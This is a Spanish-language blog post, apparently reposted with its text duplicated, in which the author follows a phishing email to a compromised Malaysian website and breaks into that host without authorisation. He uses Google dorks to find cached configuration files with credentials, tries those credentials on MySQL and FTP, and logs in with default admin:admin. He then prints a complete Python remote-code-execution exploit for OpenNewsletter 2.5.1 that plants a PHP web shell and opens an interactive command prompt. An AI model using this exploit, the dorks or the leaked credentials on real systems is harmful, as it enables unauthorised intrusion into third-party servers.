Del Spam a la Intrusion
Prologo
Hacia rato que no le echaba una ojeada al spam de mi gmail y esta vez tenia el basurin lleno, es que muchas veces uno puede encontrarse envuelto en alguna aventurita que te alegre el dia o no, en este caso mas que nada fue un poco de diversion. En fin, mientras leia los subject de los correos me pare en uno que decia: “Your account has ben blocked”.
Era un mail “supuestamente” eviando desde blockchain, pero como no tenia idea que servicio estaba prestando al publico me fui directamente a la url del sitio.
https://blockchain.info/
La verdad es que nunca me habia logueado en la aplicacion (segun recuerdo), es mas no tengo una cuenta referenciada a este tipo de servicios en general. Al instante y era obvio deduje que se trataba de un caso de phishing, asi que sin dudarlo segui el enlace acortado por goo.gl para afirmar lo antes predicho.
Por desgracia el path del fake no se encontraba, asi que por curiosidad quize seguir por mi parte para cersiorarme de si habia sido movido a otra ruta o es mas, para ver si lograba captar otros tipos de fraudes montados en el mismo hosting, pero…como hiba a saber eso? …
Un poco de Google Hacking
Lo primero que hice fue arrancar a jugar con goo*, buscando diversas extenciones de ficheros, hasta que di con algo interesante.
Archivos de configuracion en texto plano!, lamentablemente al pedirlos no se encontraban mas en la ruta, pero si google los tenia, habria que negociar con el.
Anque las credenciales podian ser viejas o con suerte, quizas, seguian en uso, no perdia nada con probar.
Trate de establer una conexion por mysql pero me nego el acceso, lo mas probable es que solo admitia conexiones desde localhost o bien mediante una lista de ips habilitadas.
Ya que conocia el user a travez del path /home/klsiccic/ informacion que habia obtenido de los ficheros cacheados, intente loguearme por ftp mediante el password de la db (Me he encontrado con muchos hostings que usan pass global para diferentes servicios), pero esta vez el ftp me reboto.
Todavia faltaba mucho por analizar, asi que segui probando con goog*.
Queria un acceso rapido, entonces pense que podria estar cacheada la webshell del atacante, si es que realmente habia usado una para obtener acceso.
Luego de persistir con un par de strings
Di con el objetivo, pero nuevamente el 404.
Por un lado me incitaba a seguir buscando ya que tenia el title de la webshell que podria ser la herramienta del spammer. Hasta ahora no queria cersiorarme por completo hasta estar seguro de que fuera el autor del echo, tal vez la webshell podria pertenecer a otro intruder que nada tenia que ver con el scam.
Largue otra busqueda.
Y esta vez tenia un lindo historial, pero todos apuntaban a la misma url fallida.
Aprovechando la lista obtenida, encuentro entre los path que se le pasaban como parametro a la ex shell, un dir de nombre /opennews.
Opennewsletter es una aplicacion open-source para administrar listas de mails.
OpenBUGletter
Ravisando en exploit-db encuentro un reporte de multiples vulnerabilidades para las versiones <=2.*. Una de ellas y por cierto la mas critica hablaba de un RCE en la plataforma.
http://www.exploit-db.com/exploits/2981/
Para ser aprovechado requieria de acceso a la administracion, investigando un poco en el source de opennews el cual lo obtuve de la siguiente web.
http://www.sourcexref.com/xref/opennewsletter/nav.html
Veo que las credenciales del admin son tomadas desde config.php y el user, pass por defecto es admin:admin.
Por suerte el fichero no habia sido retocado y pude obtener acceso.
Por razones que desconocia el exploit no lograba darme una shell en el sistema, asi que me puse a leer el codigo para ver donde se daba el bug, mirando en subscribers.php se puede ver como se abre el fichero data.dat y se ingresa el contenido de la variable $_POST[‘email] sin sanitizar.
En settings.php se permite renombrar el mismo a travez de la variable $_POST[‘db_file’] que al igual que la anterior no posee ningun tipo de filtro seguro.
Ahora que ya tenia una idea de como inyectar codigo, lo unico que quedaba era incrustar un payload en data.dat y este a su vez renombrarlo a *.php, mirando nuevamente el exploit me doy cuenta que para ingresar el codigo hace una peticion a subscribe.php (fichero que no existe en esta version de opennews (2.5.1)), ademas del pasaje de parametros por GET.
Asi que decidi codear el mio propio para realizar la explotacion.
Cabe decir que el codigo del exploit es a modo de POC, solo fue testeado en la version 2.5.1, podria no funcionar en versiones anteriores.
run exploit
Listo! ya estaba dentro.
Buscando rastros del scam.
Luego de darle vueltas durante un rato, entrar y salir de directorios, darle a find como loco, no pude dar con el phishing, muchas veces las aventuras nunca terminan como uno quiere, eso terminaba por confirmarme de que el admin se habia encargado de el. Pero por otra parte encontre ciertos ficheros que comprometian aun mas al spammer/intruder.
El pequeño arsenal del defacer.
Ojala les haya gustado esta hackanecdota, saludos!
Fuente: http://q3rv0.github.io/blog/2014/12/15/del-spam-a-la-intrusion/
Hacia rato que no le echaba una ojeada al spam de mi gmail y esta vez tenia el basurin lleno, es que muchas veces uno puede encontrarse envuelto en alguna aventurita que te alegre el dia o no, en este caso mas que nada fue un poco de diversion. En fin, mientras leia los subject de los correos me pare en uno que decia: “Your account has ben blocked”.
Era un mail “supuestamente” eviando desde blockchain, pero como no tenia idea que servicio estaba prestando al publico me fui directamente a la url del sitio.
https://blockchain.info/
La verdad es que nunca me habia logueado en la aplicacion (segun recuerdo), es mas no tengo una cuenta referenciada a este tipo de servicios en general. Al instante y era obvio deduje que se trataba de un caso de phishing, asi que sin dudarlo segui el enlace acortado por goo.gl para afirmar lo antes predicho.
Por desgracia el path del fake no se encontraba, asi que por curiosidad quize seguir por mi parte para cersiorarme de si habia sido movido a otra ruta o es mas, para ver si lograba captar otros tipos de fraudes montados en el mismo hosting, pero…como hiba a saber eso? …
Un poco de Google Hacking
Lo primero que hice fue arrancar a jugar con goo*, buscando diversas extenciones de ficheros, hasta que di con algo interesante.
Código: Text
- site:klsicci.com.my ext:txt
Archivos de configuracion en texto plano!, lamentablemente al pedirlos no se encontraban mas en la ruta, pero si google los tenia, habria que negociar con el.
Código: Text
- cache:http://klsicci.com.my/admintest1/config/klsiccic4.txt
Anque las credenciales podian ser viejas o con suerte, quizas, seguian en uso, no perdia nada con probar.
Trate de establer una conexion por mysql pero me nego el acceso, lo mas probable es que solo admitia conexiones desde localhost o bien mediante una lista de ips habilitadas.
Ya que conocia el user a travez del path /home/klsiccic/ informacion que habia obtenido de los ficheros cacheados, intente loguearme por ftp mediante el password de la db (Me he encontrado con muchos hostings que usan pass global para diferentes servicios), pero esta vez el ftp me reboto.
Todavia faltaba mucho por analizar, asi que segui probando con goog*.
Queria un acceso rapido, entonces pense que podria estar cacheada la webshell del atacante, si es que realmente habia usado una para obtener acceso.
Luego de persistir con un par de strings
Código: Text
- site:klsicci.com.my && inurl:shell
Di con el objetivo, pero nuevamente el 404.
Por un lado me incitaba a seguir buscando ya que tenia el title de la webshell que podria ser la herramienta del spammer. Hasta ahora no queria cersiorarme por completo hasta estar seguro de que fuera el autor del echo, tal vez la webshell podria pertenecer a otro intruder que nada tenia que ver con el scam.
Largue otra busqueda.
Código: Text
- site:klsicci.com.my && intitle:"=[ 1n73ct10n privat shell ]="
Y esta vez tenia un lindo historial, pero todos apuntaban a la misma url fallida.
Aprovechando la lista obtenida, encuentro entre los path que se le pasaban como parametro a la ex shell, un dir de nombre /opennews.
Opennewsletter es una aplicacion open-source para administrar listas de mails.
OpenBUGletter
Ravisando en exploit-db encuentro un reporte de multiples vulnerabilidades para las versiones <=2.*. Una de ellas y por cierto la mas critica hablaba de un RCE en la plataforma.
http://www.exploit-db.com/exploits/2981/
Para ser aprovechado requieria de acceso a la administracion, investigando un poco en el source de opennews el cual lo obtuve de la siguiente web.
http://www.sourcexref.com/xref/opennewsletter/nav.html
Veo que las credenciales del admin son tomadas desde config.php y el user, pass por defecto es admin:admin.
Por suerte el fichero no habia sido retocado y pude obtener acceso.
Por razones que desconocia el exploit no lograba darme una shell en el sistema, asi que me puse a leer el codigo para ver donde se daba el bug, mirando en subscribers.php se puede ver como se abre el fichero data.dat y se ingresa el contenido de la variable $_POST[‘email] sin sanitizar.
En settings.php se permite renombrar el mismo a travez de la variable $_POST[‘db_file’] que al igual que la anterior no posee ningun tipo de filtro seguro.
Ahora que ya tenia una idea de como inyectar codigo, lo unico que quedaba era incrustar un payload en data.dat y este a su vez renombrarlo a *.php, mirando nuevamente el exploit me doy cuenta que para ingresar el codigo hace una peticion a subscribe.php (fichero que no existe en esta version de opennews (2.5.1)), ademas del pasaje de parametros por GET.
Asi que decidi codear el mio propio para realizar la explotacion.
Código: Python
- #!/usr/bin/env python
- # Description: Opennewsletter remote code execution exploit
- # Version tested: 2.5.1
- # Author: q3rv0
- import urllib2
- import urllib
- import re
- class opennews_exploit:
- def __init__(self, host):
- self.host=host
- cookies=urllib2.HTTPCookieProcessor()
- opener=urllib2.build_opener(cookies)
- urllib2.install_opener(opener)
- def postSend(self, parametros, path):
- self.headers={"User-Agent":"Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0"}
- self.parametros=urllib.urlencode(parametros)
- self.path=path
- self.post=urllib2.Request(self.host+self.path, self.parametros, headers=self.headers)
- return urllib2.urlopen(self.post)
- def getOldDbFile(self):
- self.get=urllib2.urlopen(self.host+"settings.php").read()
- self.name=re.findall("name=old_db_file value=([\w\.\-_]+)>", self.get)
- return self.name[0]
- def verifyShell(self, path):
- try:
- self.path=path
- self.code=urllib2.urlopen(self.host+self.path)
- return self.code.getcode()
- except:
- pass
- target="http://pwnedhost.com/opennews/"
- shell="shell.php"
- user="admin"
- passwd="admin"
- admin_name="Your Name"
- admin_email="you@domain.com"
- charset="UTF-8"
- site_url="http://www.yourwebsite.com"
- opennews_directory="/"
- payload="<?php echo `$_POST[exec]`; ?>"
- rce=opennews_exploit(target)
- def get_shell(shell):
- print "[*] Obteniendo la shell :)\n"
- while True:
- command=raw_input("$~: ")
- print "\n"+rce.postSend({"exec":command}, shell).read()
- if rce.verifyShell(shell)==200:
- get_shell(shell)
- else:
- print "\n[*] Logueando...\n"
- rce.postSend({"username":user, "password":passwd}, "index.php?action=login")
- print "[*] Insertando el payload...\n"
- rce.postSend({"email":payload}, "subscribers.php?action=add")
- print "[*] Renombrando la shell...\n"
- rce.postSend({"admin_username":user, "admin_password":passwd, "admin_name":admin_name, "admin_email":admin_email, "charset":charset, "site_url":site_url, "opennewsletter_dir":opennews_directory, "old_db_file":rce.getOldDbFile(), "db_file":shell, "action":"update"}, "settings.php")
- get_shell(shell)
Cabe decir que el codigo del exploit es a modo de POC, solo fue testeado en la version 2.5.1, podria no funcionar en versiones anteriores.
run exploit
Listo! ya estaba dentro.
Buscando rastros del scam.
Luego de darle vueltas durante un rato, entrar y salir de directorios, darle a find como loco, no pude dar con el phishing, muchas veces las aventuras nunca terminan como uno quiere, eso terminaba por confirmarme de que el admin se habia encargado de el. Pero por otra parte encontre ciertos ficheros que comprometian aun mas al spammer/intruder.
El pequeño arsenal del defacer.
Ojala les haya gustado esta hackanecdota, saludos!
Fuente: http://q3rv0.github.io/blog/2014/12/15/del-spam-a-la-intrusion/
